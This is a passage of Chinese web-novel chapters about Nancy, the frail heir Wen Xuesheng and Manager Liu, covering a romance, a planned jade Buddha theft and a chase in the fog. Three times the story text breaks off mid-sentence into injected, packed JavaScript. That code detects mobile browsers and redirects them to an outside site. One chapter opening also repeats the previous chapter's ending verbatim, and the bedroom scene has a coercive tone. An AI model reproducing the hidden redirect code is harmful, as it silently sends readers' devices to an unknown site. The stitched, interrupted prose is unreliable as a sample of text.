“温雪生,你知道你这个人很别扭,很扫兴吗?是你非要来我家,是你占了我的床,是你不穿衣服出现在我面前的!” 温雪生不敢看她,只觉得有块大石头压住了胸口。 南希的声音和以往太一样,还有,她从没叫过他温雪生。 “刚刚多好的气氛!”南希忽然手下使劲,“全让你这个混蛋给弄没了!你赔我!” 什,什么? 温雪生看过去,可视线仅在南希愤怒的脸上停留了一秒,就开始倾斜。 南希双腿半蹲,一手搂住他的腰,一手抱住他的腿。 这架势,竟像是要把他从地上扛起来! 的确,她是有这个打算。 不过,温雪生虽瘦却高,光骨头架子也比别人沉。 而南希只能归属于敏捷型那一类,想用臂力把一个一米八的成年男性扛上肩,几乎是不可能实现的幻想。 她迅速发现了这一点,随即转变策略,放开温雪生,改为猛推他的胸膛。 温雪生身体弱,被南希连着两次猛攻后,脚下再也稳不住,即便及时扶住了墙,仍然步伐踉跄地倒退起来。 倒着倒着,余光里竟然多了一张粉嫩的木床,一丝凉意由心底生起,霎时蔓延至全身。 他干脆放弃扶墙,双手紧紧攥着身上的Kitty棉毯,就像攥着一张保命符。 然而这只是心理的安慰剂,小腿突然被什么东西别住,他整个身体彻底失去平衡,倒在了身后铺着光滑蚕丝被的大床上。 而那张保命符也趁机散开了。 温雪生无力地喊:“你,你要干什么?” 南希站在床边,居高临下。 “本想温柔浪漫一点,但你好像不喜欢。” 她扯掉仅残留在温雪生下半身的kitty棉毯。 “现在,你知道我要干什么了吧?” 温雪生表情痛苦,咬紧了下唇。 装饰粉嫩的房间内,涂着白漆的木床渐渐晃动,渐渐快要散架,又渐渐恢复平静。 …… 许久,温雪生把头埋进枕头。那枕头发出瓮声瓮气的声音:“我们一直这样,会,会不会……” 南希气喘吁吁:“会什么?” 温雪生:“……算了……” “嗯?” 又过了许久。 “……生,小孩……” 南希斜眼看他,那张好看的脸蛋还陷在枕头里。 “啊,这个呀……”她望向天花板,“我可能不孕不育。” 温雪生没再出声。 南希翻过去,把他的脸掰正,看到忽闪的睫毛和羞红又略带委屈的眉眼。 她尽量憋笑:“你想生小孩呀?” 温雪生使劲压低脑袋,好像脑袋是多余的一样。 南希最终还是没憋住,笑出来。 温雪生恼羞成怒,捂住她的嘴。南希侧身钻进他因抬手露出的颈窝。 “其实,除了不孕不育这件事,我还有别的要跟你坦白,就是我真的只藏了你一个小白脸,那个什么强,什么小帅……” “别说了。”温雪生打断她,声音沙哑,“我不想听你的过去……” 他坐直身体,问:“我的衣服,你放哪儿了?” “坏了。”南希也从床上坐直,“还在洗衣机呢!” “你洗了我衣服?” “你不知道自己流了多少汗,不洗的话得臭了。” “我裤子口袋里有东西。” “哦,对!”南希从床头柜取出一个牛皮纸信封,在温雪生眼前一晃:“你是说这个?” “嗯。”温雪生卷曲的睫毛垂下,挡住了他的右眼,“里面是你的800块钱,还你。” 南希打开信封。 还真是一沓一百大钞…… 只不过—— “这不是我给你的那800块,上面没有我的记号。” “你在钱上做记号?” “假..币太多,这是我从小养的习惯。” “……你那些钱我用了,放心,这些不是假..币。” 南希知道他在撒谎,他压根就没有花钱的地方。 但她不打算拆穿。她看着他,不说话,只是坏笑,并趁机把信封又塞回他手里。 “什么意思?”温雪生乱飞的视线定在了南希身上。信封被狠狠摔下地,发出“嘭”的巨响。 人民币不规则地露出半截。 “你究竟把我当什么人?!” 温雪生又生气了,南希赶紧用两根指头戳着他的嘴角往上挑,硬挑出一个哭丧的笑脸,可对方握着她的手腕不放,南希一甩没甩开,便使劲甩,到最后,两个人几乎要打起来。 就在这时,电话铃响了。 叮铃铃…… 是家里的座机。 南希如释重负,温雪生打不过她,但她需要给他留面子,留面子就得装,装不好被发现又会打架…… 她还从来没这么感激过一个电话。 “有人找我!”丢下这句话,她逃也似地跑了。 但没一会儿,她的声音再次出现。 “温大少,李管事找!” 温雪生捡起不知何时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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南希愣了一秒钟,然后迅速拿起手机,指尖在6和8之间来回飞掠。 哔—哔哔—哔— 摩托拉罗特有的手机铃响了。 很微弱,像是从遥远的地方传来的。 等等,摩托拉罗怎么会响? “喂,小张啊——!” 听筒里有刘总疲惫的声音。 同样的声音也出现在客厅内。 南希和温雪生对视了一眼。 这声音隔着一面墙。 不,一扇门。 刘总的声音是打门外传进来的! “——你终于记起给我打电话了!” “刘总——” 南希已经跑到门口,打开门。 “——你怎么回来了?!” 透过防盗门缝隙,她看到刘总岔劈着腿坐在地上,脸上好像多了些褶子,啤酒肚似乎小了一圈儿。 “我他妈就没走!”刘总单手扶墙,缓慢起身,“小张,你家里藏着小白脸,叫我怎么放心走啊?我倒要看看他是——”最后一个“谁”字没出口,刘总“哎呦”一声,满脸五官痛苦地挤在了一起。 南希二话没说,拉开防盗门去扶他。 哪想人没扶着。 刘总像一只灵活的企鹅,眨眼功夫就窜到了防盗门后。 只见他一手掐腰,一手朝前猛戳空气。 “哪个小白脸?!你给我出——” 同一时间,刘总微小的瞳孔里,头戴暗黑眼罩,身披松散棉毯,裸.体.若隐若现的男人缓缓起了身。 这人眉毛浓郁,颜色就比墨稍淡一点;皮肤很白,比女孩都白的那种;身形有些偏瘦,但也不能说他身材差,倒显出一种柔和的美。 的确是个,小白脸…… 刘总喉结连动两下,嘴里这句充满气势的喊话,以一个有气无力的“来”字草草结尾。 然后他哑了声。 而那小白脸没有一丝惊慌,唇角隐隐勾出一个弧形:“刘总,你好,又见面了。” 刘总云里雾里,回头寻找南希的眼睛,用眼神与她交流:这谁?我什么时候见过这么帅的小白脸?! 南希已经得意忘形。 她伸了个懒腰,双手扣在后脑勺上。 “哎呀,刘总!你当然见过他呀!要不你再好好看看?我给你个提示啊,元旦夜,小山坡,温沙城堡。” 刘总舌头打结。 “温,温,温,温少爷??!!” 23. 第 23 章 记忆里并没有温少爷的模样。 那个人脸上乱纹盘踞,一股污浊的寒意裹挟着他,比鬼更令人心颤。 不可能是他。 刘总又有了胆儿。 “小张,你可别随便拿温少爷来压我,我跟你说,我不吃你这一套!” “谁压你了!再说,我哪敢随便借温大少的势啊。”南希走到温雪生身边,抬手在他脸前比划,“刘总,你看看他这眼睛,看看他这鼻子,你再仔仔细细地琢磨琢磨,要是温大少脸上的东西没了,是不是就长这样?人家温大少家里什么实力,他这个脸,不是分分钟治好的事儿?” 刘总与温雪生的独眼相对,迅速逃离。 “小张,有水吗?” 不及回复,他从茶几上端起一个大玻璃杯,“咕咚咕咚”的,把里面的水一口气全灌了下去。 南希制止的手晚了一步。 “诶,这水都好几天了!” 刘总像没听着,抹了把嘴角的水渍,抬头。 “就算是温少爷,也不行!”他昂起三层下巴,“温少爷,你在一个女孩子家里穿成这样,你好意思不?我都替你感到丢人呐!我们小张,那可是大学生,正儿八经的好姑娘,不是……” 南希闻了闻那个玻璃杯,确定刘总喝的是水不是酒,打断他:“好了好了,刘总……” 温雪生又打断南希。 “我倒是不想穿成这样。” 他脸色发青。 刘总瞅南希:“他什么意思?” 南希抿抿嘴,把温雪生发病,衣服被洗的事儿缺斤少两地讲给刘总。 刘总越听,眉心越紧:“小张,这就是你的不对了,我怎么记得你家有好多大版型的衣服?” 这回儿,轮到温雪生瞅南希。他漆黑的右眼瞪得滚圆,一副不敢置信的摸样。 南希一闭眼:“哦,对!刘总,你不说我都快忘了,我这就去拿!” 她逃了。 温雪生揪紧棉毯,追过去。 咣当—— 房间门重重地阖上。 屋里面“嘀哩嘣隆”发出一阵躁动。 那扇门再次被打开时,温雪生拉着脸,穿着身粉红色羊毛连衣裙走了出来。 而他身后的南希笑眯眯的,看起来心情极好。 胜负已分。 刘总叹了口气:“唉,温少爷,小张是调皮了点儿,不过这也正说明她内心单纯啊。我是男人,你也是男人,作为男人,我想给你一句劝告,这世上最不能玩的就是人心。虽然你家境雄厚,小张与你门不当户不对,但是你俩如果真要有了什么,你必须对小张负责……” 南希双手堵住刘总的嘴。 “刘总,说点儿正事吧!” 声音比往常高了三四倍,只为掩盖刘总的胡言乱语,却也掩盖住了温雪生低沉而坚定的声音: “好。” 刘总扒拉开南希的手:“正事可不能在这儿说……” 南希见他充满顾虑地偷瞟温雪生,笑说:“温大少是自己人。” 刘总:“我说你这孩子单纯,你还真是单纯!” 话没讲完,他就看到南希当着他的面牵起了温雪生的手,像是在表达自己的信任。 刘总想翻白眼,干脆破罐子破摔:“小张,我说了你可别后悔啊!” 南希:“啰里啰唆,快说!” “唉!”刘总无可奈何,“小张,你不知道啊,你要的那个宝贝,我今天差点就弄到手了!要不是碰着——”他抬手指温雪生,“——温沙城堡的大管事。” “呵。”南希挑眉,”所以你急匆匆找我,是为了这个?”她看看温雪生,又看看刘总,颇有种看好戏的感觉,“有点儿意思啊,如果我猜得没错,刘总,你是在开运路24号碰到李管事的吧?而且,就在来我家之前。” 刘总:“对,在那个全羊馆!诶,你咋知道?” 南希两眼眯起来:“刘总,你说巧不巧,就在刚刚,李管事跟温大少告状,说你妨碍了他的计划。”她伸脖子探向前,“所以,刘总,今天你为什么会去开运路24号?” * 二月十六,七点半。 刘总憨笑着,跟背着厚重书包、跑进校园的闺女挥手再见。然后,他开车去附近的早市割了三斤猪头肉。 老板看他开奥迪,死活不肯让价,他决定下次骑二八自行车来。 他的小生意最近不景气,不需要时刻靠上,做完这些便回了家。 家里没人,媳妇已经上班去了。 他带上围裙,收拾桌子上的剩饭。闺女挑食的毛病还是没改,不喝奶不吃鸡蛋黄,全剩在了碗里,这咋长个儿啊? 他今晚得跟她聊聊。 这样想着,蛋黄混着凉奶被他喝进了肚子。 他打了个饱嗝,开始扫地。 扫到书房,听到机器“吱吱吱”的打印声,抬眼,一份文件正从传真机里慢慢出现。 他在围裙上抹了两下,小跑过去,谨慎地拿起文件。 刘总: 您看下这张图。 (图片) 宝物架第二层最左边的东西就是这次的任务目标,水晶月亮。但是架子前安了一层透明玻璃罩,上了锁。图上这个老板娘还一直站在前面,我找不到合适的机会行动。我急需您的帮助。希望您假扮成顾客去跟老板娘聊聊天,这样可以吸引她的注意力,帮我创造偷东西的时机。 如果您答应我的求助,请您十点前赶到开运路24号。 (希望您能早点去,店里没别的客人,我的成功率会更高。) 非常感谢! ——小王 刘总皱着眉头看完,找了个打火机把文件点燃。 他盯着地上渐渐变成灰烬的文件,嘟囔:“小王的水平就是不如小张,这么点儿事,还得我帮忙……” 小王是他去年才接的新执行人,他本不想接,可这些年他所对接的执行人一个个退休了,手里就只剩下南希一个,组织便强行给他塞了这位曾被三四位接头人拒绝过的十七岁皮小子。 “唉,文化也不行,难怪人家都不要他……竟然说做任务是偷东西,这是偷东西吗?……” 等等! 那是什么!? 刘总心头一紧,慌忙冲地面一阵乱踩,最后从火焰中救下一截发黑的文件。 他小心翼翼地捡起文件,弹掉灰尘,终于可以确认上面的图像: 被烧掉头的老板娘,胸前挂着块拳头大小的开心玉佛像。 玉佛…… 刘总意识到问题,立马甩掉围裙,冲进客厅,拿起桌子上的摩托罗拉,按下南希的电话号码。 “老天爷,这里怎么也有个白玉佛啊?……妈的,怎么不接电话?!这个点儿她应该还没去殡仪馆啊……” 两个小时后,刚开门的开运全羊馆迎来了当天的第一位客人。 贵客,开奥迪的大老板。 老板娘一身红,特喜庆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298535|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她笑盈盈地把红纸黑字的菜单递过去:“老板,您可真有口福,我们今早刚宰了头羊,您这就来了,那羊啊,肯定是为您宰的。” 刘总摆手:“诶诶诶,可不是为了我啊,这个因果不能算我头上啊。” 说话间,两只小眼自然地扫过老板娘的胸脯。 老板娘的胳膊像蛇一样拍打刘总的肩膀:“呦,老板,您还信这个呀?——” 她胸前的玉佛清晰可见,不像黑白图像无法分辨颜色。这个玉佛果真是白色的。 “——这当然不能算您头上,得算我们头上!我们为了照顾好您的胃,所以才宰了羊!——” 质地柔和、光泽油润,是块上等的白玉! “——诶,老板?您想什么呢?” 刘总回神,咧开嘴:“能想啥,想羊啊!新鲜?” “诶呀!那可不,新鲜得都没边了!您快看看来点儿什么?” 刘总坐下,眼睛扫菜单,同时几缕余光从眼角窜出。 “这个。”他指着菜单中间,并没看清那是什么,“还有这个,这个……” 老板娘一边听他说,一边记菜名,忽然停笔,“扑哧”笑出声:“老板,这大早上的,您就吃这么重的呀?” ? 刘总定睛一瞅。 指尖竟然按着“羊鞭”俩字。 而他刚才点的“这个跟这个”则是羊腰子和羊大肠…… 造孽。 “啊,呵呵呵……”刘总苦笑,“看叉劈了。” 他决定专心点菜。 因为,仅凭余光也观察不出什么。 虽然他暂时没找到小王,但他相信小王肯定已经藏在暗处,他只需要帮他吸引注意力,他又没说让他做别的。现在要紧的是老板娘身上的白玉佛…… 正想着,一个黑糊糊的身影闯入了视线: 瘦得跟猴子似的小王,正大光明地从后门摇了进来,还冲他比了个OK。 刘总的老鼠眼睁大,狂咳不止。 老板娘扶住他:“诶呀,老板,您这是咋地了?对了,瞧我这脑子,您都来了老半天了,还没给您倒口水喝,您等着……” 老板娘刚要转身,胳膊肘忽然被刘总拽住。 “没,咳咳咳,没事,咳咳……我就是被,咳咳咳咳,口水,咳,呛着了……” 老伴娘替他顺气:“哦,您慢点说就行,您的意思是不喝水,喝水咳得更厉害对吧?” 刘总连连点头:“是是是,来,点菜,点菜。” 他举起菜单,开念:“咳咳,羊肉串十个,羊腿一对,羊蝎子一盆,羊杂汤一碗……” 老板娘反应不迭,手中的圆珠笔在纸上“唰唰”飞舞,也不问刘总能吃得了吗,反正大老板开大奥迪,不会差她钱。 刘总却肉疼,权衡来权衡去,决定这顿饭得让小王掏钱。 面前,老板娘沉迷记菜名,嘴角已经翘到了耳根。 她后头的瘦猴小王,也已经顺利摸到宝物架的金属锁。 一切还算顺利,如果那辆奔驰没来的话。 突然间,一道剧烈的发动机轰鸣迅速逼近。 刘总闻声望去,瞧见一辆黑色奔驰在全阳馆的玻璃门前打了个漂移。 下一秒,车上下来个身量不算高的中年男人。 那人西装革履,脸上刀疤纵贯。 只见他一脚踹开大门,朝老板娘怒吼道: “你!别以为换身打扮我就不认识了!!!” 24. 第 24 章 “刘总,我给你捋捋啊,咱俩分开后,你先回了家,又去了全羊馆,最后来了我这儿,对吗?”南希问刘总。 “对,啊不对,我去全羊馆前还上你学校找你来着,要不我早到全羊馆了。”刘总回。 “我真谢谢你。”南希微笑,“刘总,按你刚才讲的,后来李管事发现自己认错了人,为了给老板娘赔不是,也点了份大餐。他的这个做法影响了你和小王的计划,所以到最后,你没弄到我要的宝贝,小王也没弄到他的?” “就是这么回事儿。”刘总瞪温雪生,“也不知道那个大管事脑子里都装了些什么,还好意思告……” 南希截断他的话:“刘总,那个没烧干净的图,你没扔吧?” “小张,你这样说我可就不高兴了,咱是干啥的,这么重要的线索我咋会会扔?”刘总从裤兜掏出一个叠成小方块的东西,“给你,你自己看,老板娘身上带的就是白玉佛,错不了的!” 南希展开方块,目光顿时凛了下去。 “谢谢,刘总,这个信息非常有用。”她起身,“我要去趟开运路24号。” 不等面前俩男人张口喊出类似“我陪你去”的话,南希又说:“这趟,我自己去。别激动,你们听我把话讲完。小生生,你是肯定不能去的,你这小体格,别又晕半道儿。还有刘总,你能飞檐走壁吗?不能的话就别跟着我,麻烦帮忙把温大少送回温沙城堡,谢谢。” 刘总不开心:“小张,你还挺会安排的啊,也不问问我俩愿不愿意。” 南希抱起双臂:“那你俩愿意吗?嗯?小生生?”她刻意朝温雪生眨了眨眼。 “不愿意。” 温雪生不领情,与刘总几乎异口同声地回了这句话,然后他继续说:“你打算什么时候去开运路?” “嗯……晚上吧,光线暗不容易被发现。” “那么刘总也没必要现在送我。” “哦,好像也是……” “现在时间两点,我还没吃东西。” 南希愣住。 刘总趁机假惺惺吆喝她:“诶呀,小张,这就是你的不对了,温少爷身体不好,吃饭得按时啊。”他拍腿起身,“小张,你家有啥菜,温少爷要是不嫌弃,我去给咱都弄点吃的。” 温雪生皱眉,是嫌弃的表情。 南希赶紧把他的眉心抚平:“怎么会嫌弃呢?刘总做的菜比五星级大酒店的都好吃!”然后她压低声音凑温雪生耳边,“你尝尝就知道了。” 南希手快,刘总就没瞧见温雪生的眉头。他对南希的答案很满意,美滋滋进了厨房。没一会儿,他探出脑袋:“小张,你家蒜上哪儿去了?” 南希正蹲在电视桌前调信号,略不耐烦:“就在冰箱旁边的筐子里啊。” 刘总:“我找了,没有啊。” 南希:“你长了眼睛吃饭的啊?” “不信你自己来找!” “行!我要是找着了,你得叫我奶奶!”说着,她从电视桌拿起遥控器,扔给沙发上的温雪生,“想看什么自己调台,不过我这信号不太行,我平时都看录像带。”她又冲厨房喊,“奶奶来了,小刘,你别后悔啊。” 五分钟后,南希拉着脸地从厨房走出来,可能没被叫奶奶,反而叫了别人爷爷。 她没瞧着温雪生,无精打采地找他,忽然看见一个粉红色的身影从茶几底下掏出一盘录像带,竟立马来了精神。 “别动!” 温雪生一哆嗦,录像带掉在地上,露出两个丰.乳.肥.臀的美女封面。 南希冲过去,捡起录像带背到身后。 “你怎么乱翻我东西!?” 温雪生觉得她莫名其妙:“是你让我看录像带的。” “……我说的是我平时看录像带!不是你可以看录像带!”南希一屁股坐沙发,把手里的录像带塞进两个沙发垫的缝隙,“再说,你想看的话告诉我,我给你找啊,哪有自己拿的道理……”她见温雪生好像又要生气,声音软下去,赶紧转移话题,“啊,那个,小生生,家里没蒜了,做饭不香,走,我带你下馆子去。”话音方向一转,“刘总,别做饭了,咱出去吃好的,我请客!” 温雪生抓住沙发:“我不去。” 南希凑近他:“为什么?” 长刘海少年瞪着一只惊恐的大眼睛,粉红毛线连衣裙紧紧勒着他偏瘦的身体。 南希恍悟:“别害羞嘛,人长得好穿什么都好。你穿这个其实挺好看的,现在正流行,这叫Fashion!对吧,刘总?” 刘总刚从厨房出来,被南希这么没头没尾的一问,懵了头,就算不懵,他也夸不出口,大男人穿粉裙子,在他眼里那是神经病、臭变态。 南希继续:“你看,刘总都默认了!走吧走吧!” 她伸手去拉温雪生。 温雪生宁死不从,沙发被他抓出了褶子:“我就算死,也不会穿这身出去!” 半个小时后,小张拉面。 虽然不是饭点儿,店里仍有不少人。 人们的视线被一个上身黑貂大衣,下身粉红毛裙套秋裤的独眼大高个儿吸引。 老板娘眯缝着眼迎上来。 “诶呀,这男孩女孩?可真俊啊!” 温雪生一听,转头就走。南希拦着他:“来都来了,吃口再走啊。”她又冲老板娘笑,“我男朋友,帅不?” 老板娘视线不离温雪生:“帅啊,我看着比明星都帅。” 南希咧嘴:“我们出来玩,他衣服湿了没得穿,只能暂时穿我的,你们别笑他,他超容易害羞的。”说这句话时,她刻意提高了嗓音。 不少客人收回了视线,没收回去的,视线里的好奇也变成了羡慕。 老板娘怕真把这小帅哥吓跑了,丢了生意,赶紧着补:“哎呀,你俩感情可真好啊,小姑娘,你瞧瞧那边上还有张桌子,你们坐那去吧,隐秘!” 南希比OK手势:“好嘞,谢谢您。我们要三份大碗牛肉拉面,红烧的!” 老板娘回头冲厨房喊:“三碗大红烧!” 刘总在旁边听着,全程没说一句话,脸色要多难看有多难看,吃饭时,他故意坐南希身边,让温雪生坐去对面。 这样坐好后,他心里舒坦了些,便又开始假惺惺替温雪生说话:“小张,拉面这种东西,咱们这种小老百姓吃吃也就算了,温少爷什么身份,你怎么能请他吃这个呀?” 南希看温雪生:“你要不喜欢,咱们就走,去大酒店。” 温雪生不自在,小店浑浊的空气让他不自在,色迷迷的老板娘让他不自在,周围乱七八糟的目光和噪音让他不自在,甚至身下硬邦邦的凳子,面前油腻腻的桌子,插在木桶里似乎带着饭菜残渣的筷子都让他不自在,但他还是僵硬地摇了摇头,回:“来都来了,尝一口再走。” 南希抿嘴笑,打木桶里抽出两根筷子拍桌上:“听着了没,刘总!?” 刘总被堵得面红耳赤,开不了口,等三碗拉面上齐后才再次张嘴,但也不是说话,他饿坏了,就着头大蒜“出溜”了一大口拉面。 温雪生皱眉。 他从没见过有人吃饭这么不文雅,仔细听听,周围好像也都是这种粗鲁的声音。 但他决定把这个想法藏在心里,他找了个借口:“这个太多了,我吃不了……”长睫毛一眨,“要不……还是去酒店吧……” 南希噘嘴:“只是看起来多!不是说了尝一口嘛!” “哦……”温雪生对自己的出尔反尔感觉不好意思,而且也不想扫兴,强忍着心里的厌嫌,仔细观察刘总,闭上眼准备“出溜”拉面。 南希拿筷子敲他的手:“烫!你别光看他,你也看看我啊!” 温雪生捂着手,视线转过去,带有一丝火气。 南希冲他眨眼,手中筷子戳进面碗,将一条条拉面一圈圈卷到筷子上。 “看,拉面得这样吃,不烫嘴,还香。” 温雪生声音弱:“太快了,看不清。” 南希放慢速度,重新演示。 温雪生学着她的模样转动筷子,几次尝试后,却连一根拉面都没缠住。 南希看不下去:“笨啊,我来!”她夺过温雪生的筷子,在他碗里绕了好几圈,把卷好的拉面连根拔起,伸到温雪生嘴边,“啊——张嘴。” 温雪生:“你干什么……?” 南希:“张嘴!” 温雪生僵硬地张开嘴,下一秒,拉面被喂进嘴里,碰上舌尖。 “好吃吗?” 舌尖轻轻翘起,牙齿轻轻咬下。 他点头:“……好吃。” “真的?” “嗯。”他又咬了一口。 面前那星星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308689|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似的眼睛闪出明光,然后变成了月牙一样的太阳。 “我就说嘛!这可是我小时候最最最最喜欢吃的!” 温雪生觉得耀眼,别过头。 “嗯……我,我自己来吧。” 他抬手去接筷子。 刘总趴碗里刚吸完一大口面,抬起头时恰巧看到这一幕,嚷道:“诶诶诶,你俩干嘛呢?” 温雪生的胸口本就怦怦的,被他突然吼了一嗓子,心直接跳到了嗓子眼儿,接筷子的手堪堪握到南希手上。 刘总忍不了:“怎么还越说越来劲?温少爷,你这样可不行,这是在公共场合!” 温雪生缩回手,整张脸胀得通红,却强撑气场,用冷冰冰的声音警告刘总:“请想明白,你在跟谁说话。” 刘总失声,嘴角微微发颤,下意识看向南希。 南希幸灾乐祸,夸张地一拍桌子:“就是!刘总,注意言辞,人家可是个大少爷。” 温雪生的阴森视线又转向南希:“你讽刺我?” “啊?”南希乐极生悲,“天地良心,绝对没有!” 温雪生咬下唇,把筷子插回面碗,气冲冲出了面馆。 周边,是八卦的窃窃私语和追随他离开的花痴眼。 远处,老板娘朝他的背影喊:“小帅哥,可不能当着老丈人面跟女朋友吵架呀!诶,下次再来啊!” 刘总和南希大眼对小眼,迅速扒了几口面,一抹嘴,追出去。 门外,温雪生被一个小贩拦了下来。 那小贩刚把小摊车停稳,硬往温雪生手里塞了盒贴着俩美女的录像带:“日本的,好看!你们年轻人准喜欢,租一天只要3块!” 南希站在小张拉面的招牌下,风吹乱了地上的尘土和破塑料袋子,也吹乱了她的头发。 她看着温雪生和小贩的背影,戳刘总胳膊:“老刘啊,温大少你送回家啊,我先撤了。” 下一秒,打扮纯美的女孩以百米成绩10.74s的速度,没了影儿。 * 大雾夜,没有星星,也没有月亮。 开运全羊馆亮着红灯笼,光线弥漫发散,笼罩着门口的摩托车,也缓缓渗入馆内。 前台宝物架上又多了新的宝贝。 两块反着幽暗红光的白玉佛吊坠并排挂在墙上。 佛像开口笑,映在前面的玻璃罩上,落入“红发女鬼”的黑眼睛里。 南希杵在这十分钟了,贴身的秋衣已经被汗水浸透,右眼皮一直在跳。 她觉得今天就不该带温雪生回家,也不该带他吃拉面。 她到现在都慌慌的,连第六感都失了灵。她实在分辨不出,眼前的白玉佛哪个是真,哪个又是假…… 真就一模一样,光泽、质地、细纹……全一样。 硬币抛了两次,一次左,一次右。 老天爷也不管她了。 她觉得今天就不该带温雪生回家,也不该…… 算了,干脆俩佛一块拿了,总有真的。 她拉开紧身衣,从内衣边缘取出钢丝,准备开锁。 玻璃罩上突然反射出一道飞影,一闪即过。 接着,身后传来玻璃碎片砸地的“叮铃”声。 南希眼珠一斜,随即瞳孔缩紧:全羊馆的后窗破了个洞,有东西翻了出去! 鬼…… 只一刹那,眼眶就盈上了泪,她双手哆嗦着加快了速度。 咔嚓一声,宝物架的玻璃罩开了。 她把两块白玉佛一并划走,拔腿就跑。 便在这时,空荡荡的全羊馆,多了第二个人的声音: “你如果想要真白玉佛,就跟我来。” 破碎的窗户外,红影摇曳。 不是红灯笼,也不是鬼。 鬼没影子。 是人…… 南希稍稍恢复几分理智,垂眼看手里的白玉佛,竟然都是假的……她今天就不该带温雪生回家,运气全被吸走了…… 她把白玉佛一抛,纵身跃出窗户,追着那影子跑入雾气泛滥的黑暗。 影子有跟她一模一样的红发,步伐矫健,速度也与她相当。 南希想起温雪生的话: “有人在王有才死亡现场附近看到了一个披着红色头发的背影。目前,警察已经锁定‘红发女鬼’为犯罪嫌疑人。” 25. 第 25 章 大雾夜,没有星星,也没有月亮。 开运全羊馆亮着红灯笼,光线弥漫发散,笼罩着门口的摩托车,也渗入馆内。 前台宝物架上又多了新的宝贝。 两块反着幽暗红光的白玉佛吊坠并排挂在墙上。 佛像开口笑,映在前面的玻璃罩上,落入“红发女鬼”的黑眼睛里。 南希杵在这十分钟了,贴身的秋衣已经被汗水浸透,右眼皮一直在跳。 她觉得今天就不该带温雪生回家,也不该带他吃拉面。 她到现在都慌慌的,连第六感都失了灵。她实在分辨不出,眼前的白玉佛哪个是真,哪个又是假…… 真的一模一样,光泽、质地、细纹,全一样。 硬币抛了两次,一次左,一次右。 老天爷也不管她了。 她觉得今天就不该带温雪生回家,也不该…… 算了,干脆俩佛一块拿了,总有真的。 她拉开紧身衣,从内衣边缘取出钢丝,准备开锁。 玻璃罩上突然反射出一道飞影,一闪即过。 接着,身后传来玻璃碎片砸地的“叮铃”声。 南希眼珠一斜,随即瞳孔缩紧——全羊馆的后窗破了个洞,有东西翻了出去! 鬼…… 只一刹那,她的眼眶就盈上了泪,双手哆嗦着加快了速度。 宝物架的玻璃罩开了。 她把两块白玉佛一并划走,拔腿就跑。 便在这时,空荡荡的全羊馆,多了第二个人的声音: “如果想要真白玉佛,就跟我来。” 破碎的窗户外,红影摇曳。 不是红灯笼,也不是鬼。 鬼没影子。 是人…… 南希稍稍恢复几分理智,垂眼看手里的白玉佛,竟然都是假的……她今天就不该带温雪生回家,运气都被吸走了…… 她把白玉佛一抛,纵身跃出窗户,追着那影子跑入雾气泛滥的黑暗。 影子有跟她一模一样的红发,步伐矫健,速度也与她相当。 南希想起温雪生的话: “有人在王有才死亡现场附近看到了一个披着红色头发的背影。目前,警察已经锁定‘红发女鬼’为犯罪嫌疑人。” 几分钟后,她被带进一片小树林,红光氤氲的全羊馆已经消失在视线。 双腿便在这时停了下来。 “喂,别跑了!” 她冲跑在前面的“红发女鬼”喊。 那女鬼放缓脚步,像是在等她,发现她没有要继续追下去的意思后,也停了下来。 南希露出微笑,这个笑没有人能看到,因为浓雾遮住了天上的月亮。她的整张脸都隐在黑暗里。 “我认出你了。你的背影太有特色,并且我眼睛太尖,记忆力又太好。”南希语气自在,“景天华盛顿厅,王有才的监控录像,还有济东殡仪馆,都有你。你就是开摩托车、打坏监控的服务生吧?” 那“红发女鬼”定在原地,没回话。 南希隐约看到一个漂亮的人形轮廓,她踱步上前,继续自己的分析:“你当服务生,混进王有才的别墅,都是为了白玉佛,因为你知道,真正的‘红发女鬼’也在找这东西。” 那轮廓一动不动。 “你不出声,看来我猜对了。那我再大胆猜下,你偷走白玉佛时被王有才识破了身份,所以你捅了他,并且嫁祸给‘红发女鬼’。你,张笑远,以及全羊馆的老板娘是一伙儿的,你们有着不同的分工。你行动敏捷,负责偷盗,张笑远人长得帅,负责分散视听,老板娘虽然独守全羊馆,但她的任务并不比你们轻,她负责吸引‘红发女鬼’多余的火力。 “只是有一点我想不明白,你们费尽心思,甚至不惜杀人也要把‘红发女鬼’引出来,到底是为了什么?”南希的眼珠左右转动,“该不会她曾经偷了你们的宝贝,你们怀恨在心……该不会这附近设有要命的机关吧——” 说着,南希脚底生风,消失在雾中。 “——那我只能,先下手了。” 等那假红发女鬼意识到这话已经逼近耳边时,只觉得一双游蛇般的手摸遍了自己的前胸、腰腹和双腿。 然而,她仍不动声色。 南希蹭着她的肩膀,从她身后直接窜到了面前两米之外。 枯叶在黑色漩涡中打转儿。 南希收回手,眼睛凝出一道犀利的光。 白玉佛竟然不在她身上! 怎么回事…… “为什么你一直不说话?”她开始有些心慌,在这样的夜色下,她也无法看到对面人的表情。 “唉,”黑暗里终于有了假“红发女鬼”的声音,听起来十分慵懒,“话都让你说了,我还能说什么呢?” 